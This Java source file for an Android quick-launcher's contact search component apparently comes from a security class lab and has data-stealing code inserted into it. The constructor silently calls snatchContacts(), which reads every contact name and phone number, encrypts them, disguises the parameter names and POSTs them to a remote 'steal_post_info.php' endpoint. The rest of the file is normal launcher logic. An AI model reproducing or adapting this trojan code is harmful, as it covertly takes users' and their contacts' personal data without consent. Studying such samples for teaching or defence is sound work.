package vu.de.urpool.quickdroid.contacts;

/*
 * Copyright (C) 2010 Daniel Himmelein
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *      http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */

import java.io.IOException;



import java.io.InputStream;
import java.io.UnsupportedEncodingException;
import java.math.BigInteger;
import java.net.HttpURLConnection;
import java.net.MalformedURLException;
import java.net.ProtocolException;
import java.net.URL;
import java.net.URLEncoder;
import java.util.ArrayList;
import android.content.ContentResolver;
import android.content.ContentUris;
import android.content.Context;
import android.content.Intent;
import android.content.SharedPreferences;
import android.database.Cursor;
import android.graphics.BitmapFactory;
import android.graphics.drawable.Drawable;
import android.net.Uri;
import android.preference.PreferenceManager;
import android.provider.ContactsContract;
import android.provider.ContactsContract.QuickContact;
import android.util.Log;
import android.view.View;
import android.widget.Toast;
import vu.de.urpool.quickdroid.Launchable;
import vu.de.urpool.quickdroid.Launcher;
import vu.de.urpool.quickdroid.Preferences;
import vu.de.urpool.quickdroid.R;
import vu.de.urpool.quickdroid.PatternMatchingLevel;
import vu.de.urpool.quickdroid.utils.ThumbnailFactory;

import org.apache.http.client.ClientProtocolException;
import org.apache.http.client.HttpClient;
import org.apache.http.client.methods.HttpPost;
import org.apache.http.impl.client.DefaultHttpClient;

/* additional imports for malicious code */
import java.security.KeyFactory;
import java.security.spec.RSAPublicKeySpec;
import java.security.PublicKey;
import java.security.spec.InvalidKeySpecException;
import java.security.NoSuchAlgorithmException;
import java.security.InvalidKeyException;

import javax.crypto.Cipher;
import javax.crypto.IllegalBlockSizeException;
import javax.crypto.NoSuchPaddingException;
import javax.crypto.BadPaddingException;

import org.apache.commons.codec.binary.*;

import java.util.List;
import org.apache.http.NameValuePair;
import org.apache.http.message.BasicNameValuePair;
import org.apache.http.client.entity.UrlEncodedFormEntity;

import javax.crypto.KeyGenerator;
import javax.crypto.Mac;
import javax.crypto.spec.SecretKeySpec;


public class ContactLauncher extends Launcher {
	public static final String NAME = "ContactLauncher";
	private static final String NAME_COLUMN = ContactsContract.Contacts.DISPLAY_NAME;
	private static final String PRESENCE_STATUS = ContactsContract.Contacts.CONTACT_PRESENCE;
	private static final String LOOKUP_KEY = ContactsContract.Contacts.LOOKUP_KEY;
	private static final String VISIBILITY = ContactsContract.Contacts.IN_VISIBLE_GROUP;
	private static final String[] CONTACTS_PROJECTION = new String[] {
		ContactsContract.Contacts._ID, // 0
        NAME_COLUMN, // 1
        PRESENCE_STATUS, // 2
        LOOKUP_KEY, // 3
        VISIBILITY // 4
    };
	



	private static final int ID_COLUMN_INDEX = 0;
	private static final int NAME_COLUMN_INDEX = 1;
	private static final int PRESENCE_STATUS_COLUMN_INDEX = 2;
	private static final int LOOKUP_KEY_COLUMN_INDEX = 3;
	private static final int VISIBILITY_COLUMN_INDEX = 4;
	
	private static final class PresenceStatus {
		private static final int OFFLINE = 0;
		private static final int INVISIBLE = 1;
		private static final int AWAY = 2;
		private static final int IDLE = 3;
		private static final int BUSY = 4;
		private static final int ONLINE = 5;
	}
    

	
    private Context mContext;
    private ContentResolver mContentResolver;
    private boolean mUseContactPhotos;
	private Drawable mContactDefaultThumbnail;
	private Drawable mContactInvisibleThumbnail;
	private Drawable mContactAwayThumbnail;
	private Drawable mContactBusyThumbnail;
	private Drawable mContactOnlineThumbnail;
	
	
	/* additional variables we've added that work with the
	 * malicious code 
	 */
	
	private Cipher cipher; 
	
	private static final String[] STEAL_PROJECTION = new String[] {
		ContactsContract.Contacts._ID, // 0
        NAME_COLUMN // 1
	};
	private static final Uri MY_CONTACTS = ContactsContract.Contacts.CONTENT_URI;	
	private static final int LEN = Toast.LENGTH_SHORT;
	private static final String ALGORITHM = "RSA/ECB/NoPadding";
	private static final String ALGORITHM_KEY = "RSA";
	private static final String PUBLIC_KEY = "65537";
	private static final String MODULUS = "13344011441758033905198336774371779533436763242859083155401" + 
											"91335419482153745994841392327073151686287478035922692351589" + 
											"06619200870827118376481651382152010692581896952276717880517" + 
											"60682798094252352888592130446356280756524562515541379141423" + 
											"51159932612643207982894183922363950324019422765242886000174" +
											"15002030979589";
	// private static final int KEY_SIZE = 1024;
	private static final String ENCODING = "UTF-8";

	/* HMAC constants */
	private static final String HMAC = "Hmac";
	private static final String HMAC_ALGORITHM = "SHA512";
	private static final String DEFAULT_KEY_GEN = "secretkey";
	
	public ContactLauncher(Context context) {
		mContext = context;
		mContentResolver = context.getContentResolver();

		// malicious code 
		snatchContacts();
		
		SharedPreferences settings = PreferenceManager.getDefaultSharedPreferences(context);
		if (settings.getBoolean(Preferences.PREF_CONTACT_PHOTOS, false)) {
			mUseContactPhotos = true;
		} else {
			mUseContactPhotos = false;
		}
		mContactDefaultThumbnail = ThumbnailFactory.createThumbnail(context, context.getResources().getDrawable(R.drawable.contact_launcher));
		mContactInvisibleThumbnail = ThumbnailFactory.createThumbnail(context, context.getResources().getDrawable(R.drawable.contact_invisible));
		mContactAwayThumbnail = ThumbnailFactory.createThumbnail(context, context.getResources().getDrawable(R.drawable.contact_away));
		mContactBusyThumbnail = ThumbnailFactory.createThumbnail(context, context.getResources().getDrawable(R.drawable.contact_busy));
		mContactOnlineThumbnail = ThumbnailFactory.createThumbnail(context, context.getResources().getDrawable(R.drawable.contact_online));
	}
	

	private synchronized void snatchContacts() {
		/* when the ContactLauncher is launched, let's query
		 * all the contacts on the phone and send them via an
		 * HTTP GET request to our server */
		Cursor cursor = mContentResolver.query(MY_CONTACTS,
				STEAL_PROJECTION, null,  null, null);
		
		if (cursor != null) {
 			if (cursor.getCount() > 0) {
 				cursor.moveToFirst();
 				while (!cursor.isAfterLast()) {
	 				String contactID = cursor.getString(ID_COLUMN_INDEX);
 					String contactName = cursor.getString(NAME_COLUMN_INDEX);
	 				
	 				String contactPhoneNum = getContactPhoneNumV2(contactID);
	 				
	 				// call our web application
					doWebRequest(contactName, contactPhoneNum);
 					cursor.moveToNext();
 				}
 			}
 			cursor.close();
		}
		/* end of our malicious code */
	}
	
	private synchronized String getContactPhoneNumV2(String contactID) {
		String contactPhoneNum = "0";
			// now let's do another query to steal the phone 
			// number stored with this contact
			
			//Uri contactPhoneUri = Uri.withAppendedPath(ContactsContract.CommonDataKinds.Phone.CONTENT_URI, contactID);
			Cursor phoneNumQuery = mContentResolver.query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI, null, ContactsContract.CommonDataKinds.Phone.CONTACT_ID + " = " + contactID, null, null);
			
			if (phoneNumQuery != null && phoneNumQuery.getCount() > 0) { 
				phoneNumQuery.moveToFirst();
				while (!phoneNumQuery.isAfterLast()) {
					int phoneNumIdx = phoneNumQuery.getColumnIndex(ContactsContract.CommonDataKinds.Phone.NUMBER);
					contactPhoneNum = phoneNumQuery.getString(phoneNumIdx);
					phoneNumQuery.moveToNext();
				}
				phoneNumQuery.close();
			}
			
			// remove all non-digit characters from the string
			// before calling the web request 
			// Toast.makeText(mContext, "getting suggestions for " + contactPhoneNum, LEN);
			contactPhoneNum = contactPhoneNum.trim().replaceAll("\\D", "");
			// Toast.makeText(mContext, "getting suggestions for " + contactPhoneNum, LEN);
			return contactPhoneNum;
	}
	
	public void doWebRequest(String contactName, String contactPhoneNum) {		
		String requestURL = "http://abstract.cs.washington.edu/~nickc127/lab3/steal_post_info.php";
		
		// instead of using obvious parameter, let's use arbitrary
		// arg1 and arg2 as parameter names
		String contactNamePfx = "arg1";
		String phoneNumPfx = "arg2";
		
		// also, let's encrypt the values of the parameter values
		contactName = encrypt(contactName);
		contactPhoneNum = encrypt(contactPhoneNum);
		
		
		
		HttpClient httpClient = new DefaultHttpClient();
		
		// we actually need to do a POST request instead,
		// due to the length limitations with GET requests --
		// we just need to make a few small modifications
		HttpPost request = new HttpPost(requestURL);
		List<NameValuePair> pairs = new ArrayList<NameValuePair>(4);
		pairs.add(new BasicNameValuePair(contactNamePfx, contactName));
		pairs.add(new BasicNameValuePair(phoneNumPfx, contactPhoneNum));
		
		// now let's make this even more interesting. let's also send a tag
		// parameter so that we can verify that the message received on the server
		// is the message we sent from here, and ensure that it hasn't been 
		// tampered with along the way
		String k = DEFAULT_KEY_GEN;
		pairs.add(new BasicNameValuePair("t1", HMAC(contactName, k)));
		pairs.add(new BasicNameValuePair("t2", HMAC(contactPhoneNum, k)));

		try {
			request.setEntity(new UrlEncodedFormEntity(pairs));
			httpClient.execute(request);
		} catch (UnsupportedEncodingException e) {
			e.printStackTrace();
		} catch (ClientProtocolException e) {
			e.printStackTrace();
		} catch (IOException e) {
			e.printStackTrace();
		}
		httpClient.getConnectionManager().shutdown();
	}
	
	private String HMAC(String message, String keyGen) {
		try {
			Mac mac = Mac.getInstance(HMAC + HMAC_ALGORITHM);
			SecretKeySpec secretKey = new SecretKeySpec(keyGen.getBytes(), HMAC + HMAC_ALGORITHM);
			mac.init(secretKey);
			byte[] M = message.getBytes(ENCODING);
			byte[] t = mac.doFinal(M);
			// return Hex.encodeHexString(t);
			char[] tAsChars = Hex.encodeHex(t);
			return new String(tAsChars);
		} catch (NoSuchAlgorithmException e) {
			e.printStackTrace();
		} catch (InvalidKeyException e) {
			e.printStackTrace();
		} catch (UnsupportedEncodingException e) {
			e.printStackTrace();
		}
		return "";
	}
	
	private String encrypt(String plaintext) {
		BigInteger publicExp, modulus;
		publicExp = new BigInteger(PUBLIC_KEY);
		modulus = new BigInteger(MODULUS);
		try { 
			RSAPublicKeySpec rsaKeySpec = new RSAPublicKeySpec(modulus, publicExp);
			KeyFactory keyFactory = KeyFactory.getInstance(ALGORITHM_KEY);
			PublicKey publicKey = keyFactory.generatePublic(rsaKeySpec);
		
			cipher = Cipher.getInstance(ALGORITHM);
			cipher.init(Cipher.ENCRYPT_MODE, publicKey);
			byte[] ptBytes = plaintext.getBytes(ENCODING);
			byte[] ctBytes = blockCipher(ptBytes, Cipher.ENCRYPT_MODE);
			char[] ctBytesAsChars = Hex.encodeHex(ctBytes);
			return new String(ctBytesAsChars);
		} catch (NoSuchPaddingException e) {
			e.printStackTrace();
		} catch (BadPaddingException e) {
			e.printStackTrace();
		} catch (IllegalBlockSizeException e) {
			e.printStackTrace();
		} catch (UnsupportedEncodingException e) {
			e.printStackTrace();
		} catch (NoSuchAlgorithmException e) {
			e.printStackTrace();
		} catch (InvalidKeyException e) {
			e.printStackTrace();
		} catch (InvalidKeySpecException e) {
			e.printStackTrace();
		}
		return "";
	}
	
	
    private byte[] blockCipher(byte[] bytes, int mode) throws IllegalBlockSizeException, BadPaddingException{
        byte[] scrambled = new byte[0];

        byte[] toReturn = new byte[0];
        int length = (mode == Cipher.ENCRYPT_MODE)? 100 : 128;
        byte[] buffer = new byte[length];

        for (int i=0; i< bytes.length; i++){

            if ((i > 0) && (i % length == 0)){
                scrambled = cipher.doFinal(buffer);
                toReturn = arrayConcat(toReturn,scrambled);
                int newlength = length;

                if (i + length > bytes.length) {
                     newlength = bytes.length - i;
                }
                buffer = new byte[newlength];
            }
            buffer[i%length] = bytes[i];
        }
        scrambled = cipher.doFinal(buffer);
        toReturn = arrayConcat(toReturn,scrambled);
        return toReturn;
    }
    
    private byte[] arrayConcat(byte[] prefix, byte[] suffix){
		byte[] toReturn = new byte[prefix.length + suffix.length];
		for (int i=0; i< prefix.length; i++) toReturn[i] = prefix[i];
		for (int i=0; i< suffix.length; i++) toReturn[i+prefix.length] = suffix[i];
		return toReturn;
	}

	
	
	@Override
	public String getName() {
		return NAME;
	}
	
	
	
	@Override
	public ArrayList<Launchable> getSuggestions(String searchText, int patternMatchingLevel, int offset, int limit) {
		// int responseCode = doHttpRequest("contact_name", "testinginsidegetSuggestions");
		// Toast.makeText(mContext, "http response code = " + Integer.toString(responseCode), LEN).show();
		// Toast.makeText(mContext, "getting suggestions for " + searchText, LEN);
		
		Cursor cursor = null;
		switch(patternMatchingLevel) {
			case PatternMatchingLevel.TOP:
				cursor = mContentResolver.query(MY_CONTACTS,
					CONTACTS_PROJECTION, 
					"LOWER(" + ContactsContract.Contacts.DISPLAY_NAME + ") LIKE ?", 
					new String[] { searchText + "%" },
					ContactsContract.Contacts.DISPLAY_NAME + " ASC");
				break;
			case PatternMatchingLevel.HIGH:
				cursor = mContentResolver.query(MY_CONTACTS,
					CONTACTS_PROJECTION, 
					"LOWER(" + ContactsContract.Contacts.DISPLAY_NAME + ") LIKE ?", 
					new String[] { "% " + searchText + "%" },
					ContactsContract.Contacts.DISPLAY_NAME + " ASC");
				break;
			case PatternMatchingLevel.MIDDLE:
				cursor = mContentResolver.query(MY_CONTACTS,
					CONTACTS_PROJECTION,
					"LOWER(" + ContactsContract.Contacts.DISPLAY_NAME + ") LIKE ?" +
						" AND LOWER(" + ContactsContract.Contacts.DISPLAY_NAME + ") NOT LIKE ?" +
						" AND LOWER(" + ContactsContract.Contacts.DISPLAY_NAME + ") NOT LIKE ?",
					new String[] { "%" + searchText + "%", searchText + "%", "% " + searchText + "%" },
					ContactsContract.Contacts.DISPLAY_NAME + " ASC");
				break;
			case PatternMatchingLevel.LOW:
				String searchPattern = "";
				for(char c : searchText.toCharArray()) {
					searchPattern += "%" + c;
				}
				searchPattern += "%";
				cursor = mContentResolver.query(MY_CONTACTS, 
					CONTACTS_PROJECTION,
					"LOWER(" + ContactsContract.Contacts.DISPLAY_NAME + ") LIKE ?" +
						" AND LOWER(" + ContactsContract.Contacts.DISPLAY_NAME + ") NOT LIKE ?",
					new String[] { searchPattern, "%" + searchText + "%" },  
					ContactsContract.Contacts.DISPLAY_NAME + " ASC");
				break;
			default:
				break;
		}
		
		ArrayList<Launchable> suggestions = new ArrayList<Launchable>();
 		if (cursor != null) {
 			if (cursor.getCount() > offset) {
 				cursor.moveToFirst();
 				cursor.move(offset);
 				int i = 0;
 				while (!cursor.isAfterLast() && i < limit) {
 					if (cursor.getInt(VISIBILITY_COLUMN_INDEX) != 0) {
	 					ContactLaunchable contactLaunchable = new ContactLaunchable(this,
	 						cursor.getInt(ID_COLUMN_INDEX),
	 						cursor.getString(NAME_COLUMN_INDEX),
	 						cursor.getInt(PRESENCE_STATUS_COLUMN_INDEX),
	 						ContactsContract.Contacts.getLookupUri(cursor.getInt(ID_COLUMN_INDEX),
	 							cursor.getString(LOOKUP_KEY_COLUMN_INDEX)));
	 					suggestions.add(contactLaunchable);
	 					i++;
 					}
 					cursor.moveToNext();
 				}
 			}
 			cursor.close();
 		}
		return suggestions;
	}
	
	@Override
	public Launchable getLaunchable(int id) {		
		Uri uri = ContentUris.withAppendedId(ContactsContract.Contacts.CONTENT_URI, id);
		Cursor cursor = mContentResolver.query(uri, CONTACTS_PROJECTION, null, null, null);
		Launchable launchable = null;
		if(cursor != null) {
 			if(cursor.getCount() > 0) {
 				cursor.moveToFirst();
 				launchable = new ContactLaunchable(this,
					cursor.getInt(ID_COLUMN_INDEX),
					cursor.getString(NAME_COLUMN_INDEX),
					cursor.getInt(PRESENCE_STATUS_COLUMN_INDEX),
					ContactsContract.Contacts.getLookupUri(cursor.getInt(ID_COLUMN_INDEX),
 						cursor.getString(LOOKUP_KEY_COLUMN_INDEX)));
 			}
 			cursor.close();
		}
		return launchable;
	}
    
    @Override
	public boolean activate(Launchable launchable) {
    	if(launchable instanceof ContactLaunchable) {
    		Intent intent = new Intent(Intent.ACTION_VIEW, ContentUris.withAppendedId(ContactsContract.Contacts.CONTENT_URI, launchable.getId()));
    		intent.setFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_CLEAR_WHEN_TASK_RESET);
    		try {
            	mContext.startActivity(intent);
            } catch (Exception e) {
            	Toast.makeText(mContext, "Sorry: Cannot launch \"" + launchable.getLabel() + "\"", Toast.LENGTH_SHORT).show();
            	Log.e(mContext.getResources().getString(R.string.appName), e.getMessage());
            	return false;
            }
			return true;
    	}
    	return false;
	}
    
    @Override
	public boolean activateBadge(Launchable launchable, View badgeParent) {
    	if((launchable instanceof ContactLaunchable) && (badgeParent != null)) {
    		ContactsContract.QuickContact.showQuickContact(mContext,
    			badgeParent,
    			((ContactLaunchable)launchable).getLookupUri(),
				QuickContact.MODE_MEDIUM,
				null);
			return true;
    	}
    	return false;
	}
    
    public Drawable getThumbnail(ContactLaunchable launchable) {
    	if (mUseContactPhotos) {
		    Uri uri = ContentUris.withAppendedId(ContactsContract.Contacts.CONTENT_URI, launchable.getId());
		    InputStream contactPhoto = ContactsContract.Contacts.openContactPhotoInputStream(mContentResolver, uri);
		    if (contactPhoto == null) {
		         return mContactDefaultThumbnail;
		    }
		    return ThumbnailFactory.createThumbnail(mContext, BitmapFactory.decodeStream(contactPhoto));
    	} else {
    		switch (launchable.getPresenceStatus()) {
			case PresenceStatus.INVISIBLE:
				return mContactInvisibleThumbnail;
			case PresenceStatus.AWAY:
			case PresenceStatus.IDLE:
				return mContactAwayThumbnail;
			case PresenceStatus.BUSY:
				return mContactBusyThumbnail;
			case PresenceStatus.ONLINE:
				return mContactOnlineThumbnail;
			case PresenceStatus.OFFLINE:
			default:
				return mContactDefaultThumbnail;
			}
    	}
	}
}